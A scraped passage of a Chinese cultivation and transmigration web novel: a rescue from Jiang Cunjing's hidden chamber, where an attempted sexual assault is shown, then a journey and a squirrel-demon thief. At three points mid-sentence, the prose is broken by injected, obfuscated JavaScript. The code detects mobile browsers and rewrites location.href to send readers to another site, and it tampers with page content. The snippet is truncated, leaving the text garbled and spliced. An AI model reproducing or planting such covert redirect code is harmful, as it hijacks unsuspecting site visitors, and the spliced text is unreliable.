路植晏停下,甩给她一瓶金疮药:“你的血容易引来妖兽蚊虫,先涂上。” 谢惊春猝不及防地接住,有些错愕,点点头:“嗷嗷好,多谢。” 路植晏半晌才说:“我们出去。” 谢惊春也不知道从哪儿能出天地镜,便赶紧跟在他身后。 李岁寒一开始嗷嗷叫着要去救姜眠鹤姐姐,看着谢惊春身上的伤势,现在倒也安静了许多。 一路上,路植晏的剑光就没怎么停过,如同画笔勾勒出各种各样的线条,只是这些线条可带着十足的杀意。 四面八方总是会跑来几个不怕死的妖怪,也会救下几个普通班学生。 谢惊春和李岁寒就安安静静地走在他身后,两个人对视一眼,似乎都觉得面前的路植晏情绪好像有些不大对劲。 明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13998013|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些动作都很随意,他整个人却似乎绷得很紧,头上的高马尾和连串的方孔钱晃动的幅度很小,仿佛在极力压着什么。 出了天地镜,吸了一口清新的空气,谢惊春觉得自己的脑神经得到了舒展,连手上和脖上的疼痛都被拂去。 她立马提议:“我们还是先去报路大哥吧。” 毕竟按原著走,就是得路知慎去救。 李岁寒难得与她同一意见:“对啊,我们去找路大哥,他那么关心姜姐姐。” 听到这话,路植晏没再注意腰间的痉挛,本就压抑的思绪一下子就如同被黏稠的胶水粘住,随后艰难地掰开,留下撕扯的透明细线。 内眼角旁的痣随着眯眼的动作微微缩起,他回过头说道:“好啊。” 两个人忙不迭地去了常宁室,将姜眠鹤被掳走的事情一五一十地告诉了路知慎。 谢惊春还有意无意地提出姜眠鹤大概是被拐到江家密室了。 路知慎一听,当即如玉的面庞就沉了下来,爬上担忧和愤怒,却又在一瞬间被他压下。 他拿起万诛冲出了门,腰间的玉佩发出嘈杂慌乱的声音,整个人似乎被冬日寒风裹挟,剑鞘上铺着赶尽杀绝的戾气,似乎下一秒万诛就要出鞘杀人。 李岁寒和谢惊春追出几步,却发现他早已经没了身影。 而姜眠鹤这边—— “路知慎?为何要等他?你想要做什么?!”碰到路知慎的问题,姜眠鹤再也不想和他假言假语,直接冷声道,“他不会来!你休想!” 江存景盘弄着她的头发:“啧啧啧,你喜欢他?” “是又怎么样?关你什么事?!癫公!滚!” 江存景噙着笑意的嘴角瞬间垮了下来,他咬着牙,猛的打了姜眠鹤一巴掌。 姜眠鹤娇嫩的脸上霎时留下一个红印子,嘴角溢出血来,身子不受控制地倒在石床上,坚硬的触感让她的肩膀和额头酸痛无比。 “什么第一天才?一个能亲手将父母杀死,差点屠灭当阳的杀人犯而已,不想姜姑娘竟这么好胃口呢!”他一把拽起姜眠鹤,嘴里恶言喷涌而出,病态般地摩挲着她的耳垂。 姜眠鹤身上痛便也罢了,杀人犯几个字却真实地将她的心刺痛,怒道:“什么意思?你个臭傻逼!这又是你的什么破幻境?!” “我的第八重幻境可以预测未来。所以我见过你,也见过他,见过很多人,他们都死了,包括我。” “哼!真是蠢得可以,这也信?所以你想利用我引出路知慎,你想杀了他保命?” “哎呀,姜姑娘有点聪明啊。”江存景啧啧几口。 姜眠鹤狠狠啐了一口血:“那我可告诉你,别说路知慎根本不会来,退一万步说,他来了,你的死期也只是提前降临而已!” “是吗?他敢吗?为你一人,树一山之敌?” 说罢,江存景附身开始撕扯她的衣服:“我就看看他敢不敢?” “你疯了!你死定了!你个……”傻逼两个字还没有蹦出,就被江存景捏住喉咙。 姜眠鹤身上每一个毛孔都拒绝与他接触,都张大嘴巴叫嚣着——快滚开啊。她心中警铃大作,睁大着双眼,似乎想要以此震慑。 “你为什么就不能乖一点呢?能在我的幻境中出现,是你的荣幸啊。”说罢,他便拿起命剑,将姜眠鹤的腰带挑开。 他歪着头,宽大的衣袖坠地,一副戏谑的表情。 “等等等等!江公子,我真的知道错了,我对上次骂您的事深表歉意。但您想要杀路知慎实在不必这样做啊,浪费时间而已。” “我方才不是说过了吗?姜姑娘骂得好啊,我就喜欢姜姑娘趾高气昂单纯骂我的样子。” 姜眠鹤彻底没辙了,她实在没想到这个癫公是个抖M。 高台上的蜡烛几乎要燃烧殆尽,石床被黑暗包裹起来,姜眠鹤怔怔地听着自己的心跳,疯狂祈求着有人来。 20. 当阳(终) 就在江存景正准备完全褪下她衣裳的那一刻,最后一滴蜡也湮灭在伸手不见五指的黑暗中时,姜眠鹤大喊一声:“救命!” 寒光一瞬而至,恍惚间照亮整个密室,带着震裂轰然,不可阻挡的狠意。 路知慎右手虚握,强大的压迫感挤压着江存景,胸口处凭空多出一份力量,将江存景猛得拽了过来。 路知慎一手掐住他的喉咙,手上青筋爆起,仿佛要将江存景的脖子捏碎。 江存景召出命剑,却在刚刚出鞘便被对方掌风推回,他被捏住喉咙一句话都说不出来,哪怕一句扯谎辩驳的字节都发不出来。 他从腰间散去符咒,想要将路知慎困在方寸之地。 可路知慎根本没有正眼瞧他,符箓才形成一个圈,便轻飘飘地挥袖扫去,化为灰烬。 路知慎在江存景即死的最后一刻,用力地将他扔在地上,居高临下地望着他。 黑夜中的一袭白衣如同鬼魅又如同救世主,平日里那样清雅俊逸的人几乎一字一顿地说道:“想死吗?” 江存景猛咳了几声,贪婪地吸收着差点再也无法得到的空气,缓了许久才吼道:“死也是你死!” 话音刚落,他便将双指抵住自己的额间,一点朱砂隐隐现出。 接着,四方墙壁依次亮出「道」「天」「地」「人」,四字刹那间散发出刺眼的金色光芒。 而路知慎脚下一个红色「禁」字遽然跳出,分出虚影又重重落下,转眼间赤字变大。 江存景费力地站起身,如同散乱的零件重新组装。但他仍不忘自以为是地笑道:“特意为你准备的,如何?” 禁一阵可以封住人身上的一切力量,无论是法力还是体力,在这个阵法里,哪怕动动手指都是妄想。 当同时,难度也是一等一,能将其炉火纯青,不是天赋到路知慎这个地步的人,能学学皮毛都已是翘楚。 “天才?什么天才?!不过是徒有虚名罢了!”江存景拔出剑,“能死在我的入风剑之下,是你的荣幸。” 姜眠鹤虽然知道路知慎很强,可是见他站在那里,当真被困得动不了,心中顿感焦急。 她想要通过喊叫吸引江存景的注意力,可是下一秒她突然觉得身四肢一松,绳子被割断。 江存景惊愕失色,不可置信地后退踉跄了几步:“这不可能!” 路知慎收起万诛,轻轻一挥,入风剑便掉落在地,他一步一步地走向江存景:“还以为你为我留了什么,没想到也只是个小小的禁一阵,实在是……” 一语未了,瞬身至江存景身侧,在他的意识还没有跟上视线之时,手背看似轻轻打在他的脖颈,然后下一刻,江存景整个人像被来自高空的劈天之力击中,身体如球冲破一米厚的石壁,灰尘石粒漫天,他又翻滚了好几圈才停下。 “实在是难堪入目。” 鲜血湿了满襟,脸都被撞歪了,牙齿也掉了几颗,江存景满是鲜血嘴里慢慢吐出几个不清的字:“你出去便是我的幻境,你会后悔的。” 路知慎脱下外袍裹在姜眠鹤身上,将她打横抱起,不屑地看向江存景,冷声道:“若有报复,定当奉陪。” 姜眠鹤愣愣地抱住路知慎的脖颈,感觉身上恢复了点力气,这才终于哭了出来。 她一边哭着,一边将眼泪鼻涕在路知慎的肩头擦擦。 路知慎下颌紧绷,他垂眸看向姜眠鹤,声音温柔而愧疚:“不会再有这样的事发生了。” 出了密室,便看到璧云山的一众人。 “不能让路知慎走了!”璧云山的弟子们红着眼睛发令,纷纷朝着路知慎冲了过来。 路知慎顿了步伐,温声对姜眠鹤说道:“捂起耳朵。” 姜眠鹤吸了吸鼻涕后收泪,便乖乖捂起了耳朵。 万诛出。 恢弘剑意,铺天盖地。 “现在逃,来得及。” 大地一阵晃动,密室上方的七层弥生殿被蓦然切开,向四周爆出汹涌的气流和沙尘,掀起一股强烈的风暴以及震耳欲聋的轰然倒塌之声。 人群开始疯狂逃窜尖叫,在纷杂的声音中,有人喊道:“当阳路知慎,剑斩弥生,璧云之耻,誓当还报!” 江存景撑着身体爬了出来,口齿不清道:“路知慎,和璧云山作对,你知晓后果吗?!” 路知慎温柔一笑:“尚不知晓。” 江存景被堵得说不出话来,本来还能强撑着维持气息,这下直接被气背过去。 出了弥生殿,逃出去的人又开始摇人,妄想将路知慎留住。 可他依旧不慌不忙,眨眼间,剑光闪过,众人之间多出一道长长的沟壑。 众人眼看着少主快不行了,只好将心中怒气咽下,艰难开口:“家主病重,尚无人能阻他,让他走。” 路知慎瞥了一眼:“多谢。” 一下璧云山,路知慎的身形微晃。 姜眠鹤捧起他的脸,轻声问:“你怎么了?你放我下来吧,我感觉身上的力气恢复了些。” 路知慎没说话。 许久,他将姜眠鹤放下来,自己却捂住心口,面上略显疲色。 姜眠鹤心中一悸,连忙扶住他:“路知慎,你别吓我。” 而此时,周围风景迅速变换,她霎时被眼前的一切惊得说不出话来。 红,刺眼的红,入目皆红。尖叫和哀嚎平息后,是死一般的寂静。 喘不过来气了,肺像是被什么东西狠狠捏住,让那寒冷却又象征着生的空气穿过鼻孔,却怎么也进入不了肺部。好不容易吸入一丝凉意,却在面前形成一团化不开的雾。 这是哪里? 这是……当阳? 姜眠鹤立马想起刚才江存景说过的,出了密室就是他的幻境。 所以刚刚路知慎都一直强撑着与那幻境作抵抗,若是让那些人看出他的气势减弱,一定不会放他们走的。 可是为什么这个幻境如此真实,明知是虚假却难以相信是虚假。 降真阁门口似乎站了一个人,那人一身红衣,提着剑慢慢走过来,阴鸷中带着满身杀气。 姜眠鹤听说过,江家幻境的厉害之处在于,在幻境中受的伤会带到现实中来。 那红衣人越走越近,她也越来越紧张,心跳越来越快,拉着路知慎就要跑。 “姜眠鹤。” 突然,熟悉的声音从那红衣人口中传出,仿佛近在咫尺。 姜眠鹤一愣,整个人如遭雷劈,僵硬地转过头。 就在她转过头的那一刹那,路知慎吐出一大口鲜血,将他洁白无瑕的衣襟玷污。 环境骤变,又回到了璧云山下。 “姜眠鹤。”路知慎深深呼出一口气,平静道。 姜眠鹤将他扶紧,嗔怪道:“你吓死我了。” 在璧云山如此大闹一场,消息马上传到了当阳山,更传到了三正。 第一次,路知慎被罚。 不同于路植晏被罚,要么拘心台要么净目亭,路知慎是直接独自一人负荆请罪,去了三正法司。 谢惊春听到这一消息时并没有感到意外,只是感叹爱情的力量以及被小说贯彻到底的恶人终有恶报。 不过在看到姜眠鹤脸上的伤势以及她的诉说之时,谢惊春才切实地感受到有多凶险,她心中突然有些自责。 几个月和姜眠鹤的相处,她早把姜眠鹤当成自己在这个世界的好朋友了。提前知道剧情,反而让她很不适,像是一种背叛。 谢惊春甩了甩头,想把这种奇奇怪怪的敏感想法甩出脑海。 “我不能让他一人去三正受罚,他是为了救我,还受了伤,我要和他一起去。”姜眠鹤说罢,提起裙子便去了。 谢惊春自是没阻拦,三正法司共患难,他们的情感更加坚固。况且就算拦了,只会让姜眠鹤难受罢了。 本来都快到手的等级提升,却被江存景一剑抢了去,谢惊春对他的讨厌又到了无以复加的地步。 不过稍稍让她欣慰的是,因为度过了猎妖修习这一情节,她一下子跨越十二章,现在来到了五十章。 【恭喜宿主等级提升为测试者LV4。目前宿主与角色「路植晏」的绝对安全距离为25公里,绝对无痛距离为2公里。】 她复盘了一下当时自己的表现,也挺满意。 感觉可以去考级了,给金樽整个白缨串串。 若是继续练下去,她或许也能成为独当一面的捉妖师。想着如果能够给金樽整个黑缨装逼,那多威风啊。 “小师妹,你怎么学会那么厉害的缚妖阵了?”李岁寒一屁股坐在她身边,语气中嫉妒之意很明显。 嗯~能从他嘴里听到厉害两个字,简直太不容易啦。 谢惊春将他当初说的话原封不动地还给他:“这个嘛这个,我也不知道,就随便一弄,它自己就出来了。” 李岁寒撇了撇嘴,冷切一声:“有什么了不起的。” 谢惊春得意一笑,拍了拍他的后背:“怎么样?伤势怎么样?” “我身体好得很,当然没事了!”他跳着侧过身,握拳屈腕,试图展示皇帝的新肱二头肌。 “倒是你,给自己整出好几道伤口。” 谢惊春昂头向他展示:“呵,我这脖子上的可是你弄的,给本小姐这如白天鹅般的细脖剌了个口子,还好不深,要不然我铁定找你决斗。” “幻境中可不关我的事,我昏迷了当时。不过,不过……”李岁寒嗫嚅着,“不过也算是因我而受伤,对,对不起……” 谢惊春顿了顿,假装起了一身鸡皮疙瘩,白了他一眼:“咦……不跟你瞎叭叭,休息好了,我要练习了。” “话说路二哥从中午到现在,怎么一直没来?” “这倒是。前几天从太象山出来,他就一直怪怪的,好像不太愿意理我们,难道是我们猎妖表现他不满意了?” 这时,路植晏突然不知从哪儿冒出来,接了一句:“一般。” 谢惊春和李岁寒歪着头:“耶?你从哪儿冒出来?” 路植晏没有回答她的问题,而是满脸严肃地说道:“从明日开始,我就没办法教你们了。” “为什么?”两人异口同声。 路植晏沉吟了一会,随后说:“我要,离开当阳。” 谢惊春和李岁寒面面相觑,再次异口同声:“去哪儿?” “这不关你们的事,我离开的这段时间你们也不要松懈,好好修习,我回来时若发现你们毫无精进……。” “去捉妖吗?我也想去,上次凌阳捉妖,路二哥你就没有带我去。”李岁寒看了一眼惊春,“一人一次,很公平。” 路植晏:“我不会带你们去。” 惊春:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010230|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你离开多久。” “不知道。” 不知道。 按照经验,一般是很久。 那可不行,她现在等级还是太低了,还是不能和他隔得太远。 路植晏欲言又止,最后还是转身离去。 原著中对路植晏的描写太少了,况且这还是本没有完结的小说,他的人生轨迹如何没有人关心,恐怕连作者来了,都不知道在路知慎弑父杀母之前,路植晏又在干什么,经历了什么。 又是一个不眠夜,谢惊春写了三封信。 一封给姜眠鹤,这个温柔外向的少女,是她在这个世界交的第一个好朋友! 一封给阿爹,虽然和这个世界的爹没什么感情,但能看出来这个小老头真的很爱自己的女儿,刚穿来就接收了一个濒死的身体,在躺在床上修养的一个月里,谢从真一边哭得跟小孩一样,一边安慰女儿,竭尽全力给女儿最好的。 虽然有一种偷了角色幸福的感觉,但谢惊春从小残缺的父爱,也算是弥补上一点点。 一封给臭小子李岁寒,哼,臭小子,必须要恶心他一下,肉麻他一下,讨厌死了。 最后她挑了几个法器自己带着,剩下的全部留给姜眠鹤和李岁寒。 写完三封信才发现已经很晚了。 怎么写作文的时候就没有这滔滔不绝,连绵不断的灵感呢? 谢惊春抱着碰运气的心理来到了路植晏的小院,竟发现他屋内蜡烛还点着。 她站在门口正纠结着要不要敲门,抬头看见被自己砍断长岁铃的细线还在檐下飘摇无依,想起上次的经历,她伸出去的手又缩了回来。 “深更半夜,谢大小姐有何事?”路植晏披散着头发,手撑着门框,不知何时开了门。 谢惊春微微一怔。 上次被那缕玄阴妖心魄给吓惨了,便没太在意他披散头发的模样。 白日里高高在上的马尾此刻就像春日垂柳,从肩处倾泻而下,配上内眼角处的痣,倒是平添了几分不同往常的慵懒和孤傲。 和路植晏对视许久,就在他皱着眉头又要吐出什么阴阳怪气的话时,谢惊春连忙挪开眼:“你怎么知道我在外头?” 路植晏抬眼瞄了一眼檐下空悬的绳线,目光又立刻回到她身上:“猜的你信不信?” 谢惊春来这里主要是为了问出他的行程,并不在这件事上纠结,便问:“我其实主要是想问你,你是不是要去……桃花源?” 路植晏收了似笑非笑的表情,往外走出几步。 “你也是猜的?” 谢惊春吸了一口气:“差不多吧。上次在问日山咱们不是觉得紫娘笃定路叔叔会再去桃花源吗?你如今又突然说不能教我和李岁寒了,那必然不是一两个月那么简单。要么是路叔叔想要让你历练一番,要么就是想要你去东南天山道找桃花源,亦或者二者皆是。” 她随着他走到庭院中,月光在缸水中微漾,泛着如碎珀似的冷光。 路植晏微讶,没想到她能猜到。 “所以呢?谢大小姐来此是想送别?” “不是,我想和你一起去。” 路植晏显然没有想到她会来这一招,不过短暂的惊异后是断然拒绝:“那不可能。” “你放心,我不会给你添麻烦的,被妖怪吃了就是我自己能力弱,你可以不用管我。你就当路上一人无聊,找个话搭子如何?” 谢惊春这么坚定地要和路植晏一起去寻桃花源的原因实在是太多了。 首先,她现在的等级还是太低,不能离路植晏太远。再者,系统提及过的另一个穿书者,她很想找到那个人。 而且桃花源,听起来就很不错。 路植晏乜了她一眼:“那也不行。” 谢惊春低着头,似乎在酝酿什么,她嘴里慢悠悠地吐出字:“其实……” 路植晏静静地看着她,当真等着她憋话。 谢惊春突然快速拿出一张纸,神神秘秘地说道:“其实我有桃花源的线索,听闻是我大伯谢从因留下的。” 谢从因。 太阴九百岁,名榜第一。 七岁便已名动天下,九岁弃命剑。一柄桃木剑,亦可挥出浩然剑气,一阵破万法,一阵护万人。 他十二岁失踪,又于五年后某夜突然回归,将大妖玄阴丢给三正后再次消失。 至今,杳无音讯。 “另外若是遇到一个手持桃木剑的疯子,不要与他纠缠。消失了二十多年了,他这样的人,肯定不会死。” 前几日,路思贤叮嘱的话在路植晏耳畔响起。 谢从因一直以来都是众人崇拜的对象,而路思贤提及他的时候,却似乎带着一丝丝不易察觉的恐惧。 路植晏饶有所思,盯着那张纸说道:“哦?什么线索?” 谢惊春见他感兴趣,晃了晃手中的纸:“你答应带我一起去,我就给你看。” “那算了,谢大小姐自己看吧。” 感觉被威胁的路植晏抬脚就走,毫不犹豫。 谢惊春眼珠子一转,突然就放弃了:“那算了,我先回去了。路二公子也早点睡吧。” 路植晏扭过头奇怪地看着她的离去的背影,虽不明白她怎么突然就放弃了,但还是庆幸她不再烦自己。 谢惊春:hianhianhian,怎么会放弃?! 21. 松鼠与金陵(一) 翌日。 路植晏刚下当阳,便觉得有些不对劲。 又行了几步,他侧回头,冷声道:“出来。” “嘿嘿,你怎么知道我在这儿?” 谢惊春从树后钻了出来,头上还落了一片树叶。 她背着金樽,麻花辫中交缠住绿白绳,上身穿了一个浅绿对襟半臂短褙,缀着蓝红流苏,下身是茶白间裙,抬脚时还能看见里面的桃红绑腿袴裤。破烂麻布包已然被她塞得鼓鼓的,但还是有很多精致的小玩意带不上,她便只能将最喜欢的一个细银腰链斜箍在腰侧。 颇有几分小侠女的风范。 路植晏啧了一声:“谢惊春,你……” 他突然也不知道说什么好,兀自往前走。 谢惊春跟在他后头:“这样吧路植晏,反正你也赶不走我。我把我大伯留下的关于桃花源的线索给你看,以后咱们就结伴同行如何?” 跟踪什么的,实在是太不好了,太死皮赖脸了。 她又补了一句:“你就当我是要去找我大伯,刚好和你顺路,如何?” “谢惊春,你怎么这么烦?我收你做徒弟还要如何?”路植晏停下来看着前方,似乎在和自己说话一样,“我保护不了你。” 谢惊春已经练成强大心理,对于路植晏口中的烦啊滚啊都已经免疫了,所以自动忽略,只回复他后面一句话:“没事没事,刚好我也保护不了你。” 路植晏语塞,随后叹了一口气,认命似地说道:“那你随便吧。” 谢惊春眉毛一弯,赶紧追上前和他肩并肩。 “嗯?不是说要给我看吗?”路植晏伸出手。 “你确定要看吗?” “当然。” 他眼睁睁看着谢惊春费力地从包中掰开一条缝,双指艰难地伸进去,弄了好一会儿才夹出一张纸:“你看吧。” 少年将信将疑,一边展开一边嘀咕着是不是真的,念道:“吾谢从因,捕鱼为业,缘溪行,忘路之远近,忽逢桃花林……” 他渐渐哑声,用一种极其鄙夷的眼神看着她:“就这?” 谢惊春一愣,这个世界还学陶渊明的文章? 她吞吞吐吐:“怎……怎么了?这有什么不对吗?” 她只是想着这个桃花源和初中学过的《桃花源记》听起来有点相像,只是住在里面的大多数不是人罢了,便想着也不算糊弄。再说了,上面的好多繁体字都是她从书中一个字一个字找出来的呢。 “你这有什么线索?” “这还不是线索吗?这篇《桃花源记》详细地描述了桃花源的风貌,民风淳朴,犹如人间仙境,表达了作者对美好世界的向往。等到我们哪天真的进去了,便能立刻知道自己的所在。” 路植晏没好气:“桃花源桃花源,你猜它为什么叫这个名字?” “那你跑到人家桃林里面,就以为自己进了桃花源怎么办?再说了……”谢惊春手放在额头上,眯眼看了看明晃晃的太阳,“如今时节桃花早都没了。所以说,这个线索还是很有用滴。” 她拈过薄纸,收进包里。 少年眉骨优越,皱着眉头:“我不想和你说话。” “但我想跟你说话。” 两个人又是你一句我一句,一路上就没歇过。 “我说你歇歇吧,你口不渴啊?” “我不渴,你既然词穷说不过了,就不要再说了。” 谢惊春想了想,决定还是退一步海阔天空,不和他辩了。 这段时间,树上,河边都是他们的归宿。 谢惊春半夜老是被那些“呱呱呱”叫的青蛙叫得烦死了,时不时还有一两只恶心人的蚊子在耳边嗡嗡闹。令她佩服的是,在这样令人烦躁的情况下,惯来锦衣玉食的路植晏居然睡得无比香甜。 可她就遭殃了。 上半夜拍蚊子,听蛙蛙交响曲。下半夜做噩梦,享受悲惨人生。 她都怀疑路植晏是不是不招蚊子咬,于是索性坐在他身边,看看是否如此。 却被这人一把抓住手腕,用剑鞘抵住喉咙:“谁?!” “你,你睡蒙了吧?”谢惊春心一颤,不可置信地睁大眼睛看着他。 看见是她,路植晏这才松了剑,声音低下来:“你突然靠过来干什么?” “我这么点动静你都听得见,那蚊子嗡嗡闹,青蛙呱呱叫,你却一点听不到?”惊春顿了一下,讶然道:“耶?还挺押韵。” 路植晏的脸隐在黑夜中,孤月催云移,朦胧的月光百无聊赖地洒下来,让少年的面庞更加英朗。 他抿着嘴没说话。 谢惊春愣愣地望着,突然想到:“你不会,睡觉的时候也会有那怪毛病吧?” 不能有人在他背后三尺内。 真是闻所未闻的怪症。 “好了,我以后尽量记住。”看着他那羞于启齿,又近乎默认的模样,谢惊春自觉地挪了个位置,眯了许久给自己编了个故事才勉强睡着。 第二日他们刚进入一片松林,路植晏便突然拽住谢惊春的肩膀。 他眼神戒备,谨慎地审视了一圈,谢惊春也跟着紧张了起来。 “喂,说你们呢,快离开这里!” 忽然,树后钻出一个彪形大汉,身上穿着蓑衣,看起来与树皮的颜色无异。他低喝,想大声又不敢大声。 待谢惊春和路植晏走近,那个人看清他们身上的剑,面上缓和了些。 其他的树后陆陆续续也冒出几颗头,甚至地上还蹦出几个人。 看他们穿的不是捉妖司的官服,几人试探着问道:“你们是捉妖师吗?” 路植晏:“正是。不知各位为何如此装束?是要打猎?” “这倒不是。这林小,本就没什么猎物。我们在此地静候,实乃捉妖。” 捉妖?他们连配剑都没有,大多数都是拿着家中镰刀,菜刀,锄头和大铁锹。 谢惊春凝眉:“既是有妖,为何捉妖司的人不来?” 说到这个,几个汉子想要吐槽的话几乎快要跑出来,最后却瘪瘪嘴,说道:“此妖倒也不害人,偏生喜欢偷东西。捉妖司今辰便只派了两个新人,可这妖就像知道一样,一直不肯露面,他们便也先回去了。” “偷东西?” 谢惊春和路植晏互相看了一眼,随后路植晏说道:“既然我们来了,此事便由我二人接手。” 专业的事能有专业的人来做,那自然是最好的。 但几人也蹲守了几个时辰了,知晓已经打草惊蛇,那妖定是不会再出来,几个汉子连忙热情地先将他们二人请回村中。 这村名大鹅村,顾名思义,家家户户都喜欢养大鹅。 一进村,就被嗷嗷嘎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夕阳西下,那些鹅叫声也变得稀稀拉拉,如脱了线的风筝游荡在昏黄的晚霞之中。路过几处养狗的人家,还会对这两个陌生人吠几声,但都被王拓及时喝止。 将他们二人带回家中,王大哥的妻子连忙给他们倒了杯茶。 王婶盯着谢惊春看,满脸温和慈祥的笑意,谢惊春被看得都有些不好意思了,坐在那儿,低头捧起杯盏:“谢谢阿……婶。” 她抬了抬眼,发现王婶还是看着她,眼神中甚至带着希冀。 “阿……阿婶,请问我脸上是有什么吗?”她摸了摸自己的脸,小声地问,生怕让婶子觉得自己语气不好。 路植晏是站着的,听到她的话,也不住的顺着王婶的目光低头看下去。 天边的余晖挥洒进屋,将小姑娘的脸廓和发丝都照得透亮,弥漫出柔煦的影鸿。绿白绳在泛着暖光的麻花辫中断断续续,显得格外的灵动清丽。 那双澄澈的眼睛微闪,睫毛轻动。 谢惊春大约觉察到头顶停留很久的目光,正欲抬头,便看到王婶走过来坐在她身边。 “呀小姑娘,你身上的这些东西最好收起来,那小妖怪最喜欢这些东西。”王婶看见谢惊春手腕处隐隐露出的银镯和胸前的平安锁,忙提醒,“我本也有个银镯,还是婆婆送的,也叫这妖怪给偷走了。” 说起这个,夫妻两人都止不住地叹气。母亲生前最珍惜的首饰,都不舍得戴在身上,包得里三层外三层地藏在木柜中,最后还是被悄声无息地偷走了。 更何况这手镯,她还想传给未来的儿媳呢。 谢惊春转了转自己的银镯:“多谢阿婶提醒。不过,我觉得……” 她看向路植晏,眨了眨眼,点漆般的双目上忽闪着秀密的睫毛,投射出点点小聪明。 他马上就明白她的意思,会意似地没出声。 22. 松鼠与金陵(二) “我儿从军去了,他这屋子空着也是空着,你们小夫妻就委屈将就住住。” “小夫妻”双目同时陡然睁大,双颊立马染上绯红,并在对方的视线中进而红到耳根处。 谢惊春张了张嘴刚想解释,路植晏却直接抢先说道:“多谢王婶。只是,今夜若是有任何响动,你们切不可出来。” 王婶非常一副过来人的模样,笑着摆了摆手:“放心放心,绝不打扰你们。” 谢惊春算是知道为什么方才王婶看自己的眼神充满希冀,她大概是希望自己儿子也能早点娶媳妇。 路植晏从鼻音中嗯了一声,随后意识到不对,王婶恐怕是误解了,可她已经自以为识趣地关上了门。 一屋子的沉默。 许久。 路植晏面上桃红褪去不少,轻扯了下嗓子,将三张定身符递给惊春,假装镇定道:“拿好。它若真的来,就将这个贴在它身上。” 所幸这屋内有两个房间,谢惊春点点头:“好。不过,你要选那个房间?” “我去另一间,若是有什么事,你直接……喊我便可。” “那好。”谢惊春呼了一口气,才觉得耳根子不再发烫了。 月亮又恢复了本该轮廓细腻的模样,大大方方地将初夏的清暖色铺在瓦砾之间。不远处的松林被罩在寂静的夜色中,时不时有几只鸟雀飞出,不知欲往何处。 谢惊春攥紧了定身符,将腰间细银链取下放在床头,乖乖躺在新换的被褥上,静候着那只小偷上门。 不知等了多久,她都快熬不住了,上眼皮越来越沉,意识也越来越模糊,朦朦胧胧地甚至要做起梦来。 黑夜中,只有几缕月光趁着窗户缝中溜进来,整个大鹅村都沉浸在静谧之中,细微声响都会显得尤为突兀。 【宿主,我感应到了更加浓烈的电波了。】 谢惊春本来昏昏欲睡的脑袋瞬间清醒,她顺平自己的呼吸,也没敢动,而是细听着周围的动静,确定没有任何杂声才和系统交流:“也就是说,我现在离另一个穿书人越来越近了?” 【是的。而且由于距离缩近了,我现在大概能判断出他目前就在,金陵城。】 金陵城,那可太近了。 本来去天山道就会路过金陵城,只是刚好遇见了偷东西的小妖才会耽搁计划。 谢惊春心中隐隐期待。如果真能和另一个穿书人相遇,那可真是老乡见老乡,两眼泪汪汪。 而且,她们还可以交流一下系统,总算不用藏着憋着,不用担心会影响剧情发展和泄露系统设定了。 正当她憧憬之际,忽然觉得脸颊温热,呼吸顿时慢了下来。 她握紧了定身符,手指又慢慢地去勾身侧的剑。 细细的声音蔓延在耳畔,似乎有什么东西在动自己胸前的平安锁。 当毛茸茸的尾巴不小心扫过谢惊春的脸颊时,她立刻睁眼,刚好与一双漆黑如墨玉般的眼睛对上。 那双眼睛几乎被黑色覆盖,却在黑夜中尤为澄亮,迸发出凌厉的精光。 似乎是没有想到谢惊春会醒着,它小小的身形一滞,但马上就带着那条细银腰链飞窜。 银链擦过床沿,发出细响。 谢惊春即刻将定身符猛地贴在它身上,又快速拿起金樽翻身下床。 “路植晏!” 小妖怪动不了,气得咬牙,齿缝里时不时冒出短促的“嘶”声。 金樽剑鞘轻敲地面,缸口大的缚妖阵便围绕着小妖怪转了起来。 路植晏冲进来,立马甩出符咒封门。 谢惊春点起蜡烛,二人这才看清了这只小妖精的面容。 “松鼠?” 而且好胖。 “我叫黄毛。”松鼠两只小爪子抱在胸前,还紧紧地扣住腰链,愤怒地对着他们叫了几声。 谢惊春瞬间眉头拧紧,长得那么可爱,这名字怎么那么一言难尽呢?况且身上除了白色和灰色,也没有其他颜色了,怎么叫黄毛? 路植晏从它手中拿下腰链,随意地甩了甩,又一把握住,蹲下身子质问道:“你偷的其他东西放哪儿了?” 黄毛不能动,粗蓬的大尾巴卷曲着,像蜗牛壳,只能眼睁睁看着白日里偷瞧一眼便喜欢上的东西被拿走。 “我不会告诉你们的,那是我的东西!” “你偷的怎么成你的东西了?”谢惊春也蹲下来,掌心托了托它的尾巴。 淡淡的酥麻感在掌心蔓生,她又控制不住地轻轻捏了捏。 须臾之间,松鼠身上毛的忽然炸开,变成一个稚童模样,只是两只小小的耳朵依然顶在头上,鸡毛掸子粗的尾巴也从衣服下面伸出来。 它使出全力猛得挣脱定身符和小型缚妖阵的束缚,如箭一般冲逃。 “哎!” 谢惊春情急之下想要抓住它的尾巴却抓了个空。 可惜黄毛刚跑出去没多远,又被门上的符光倏然撞了回去。 它四仰八叉地躺在那儿,漆黑圆溜的眼珠子空洞地盯着屋顶,声音悲凉:“你们好过分……” 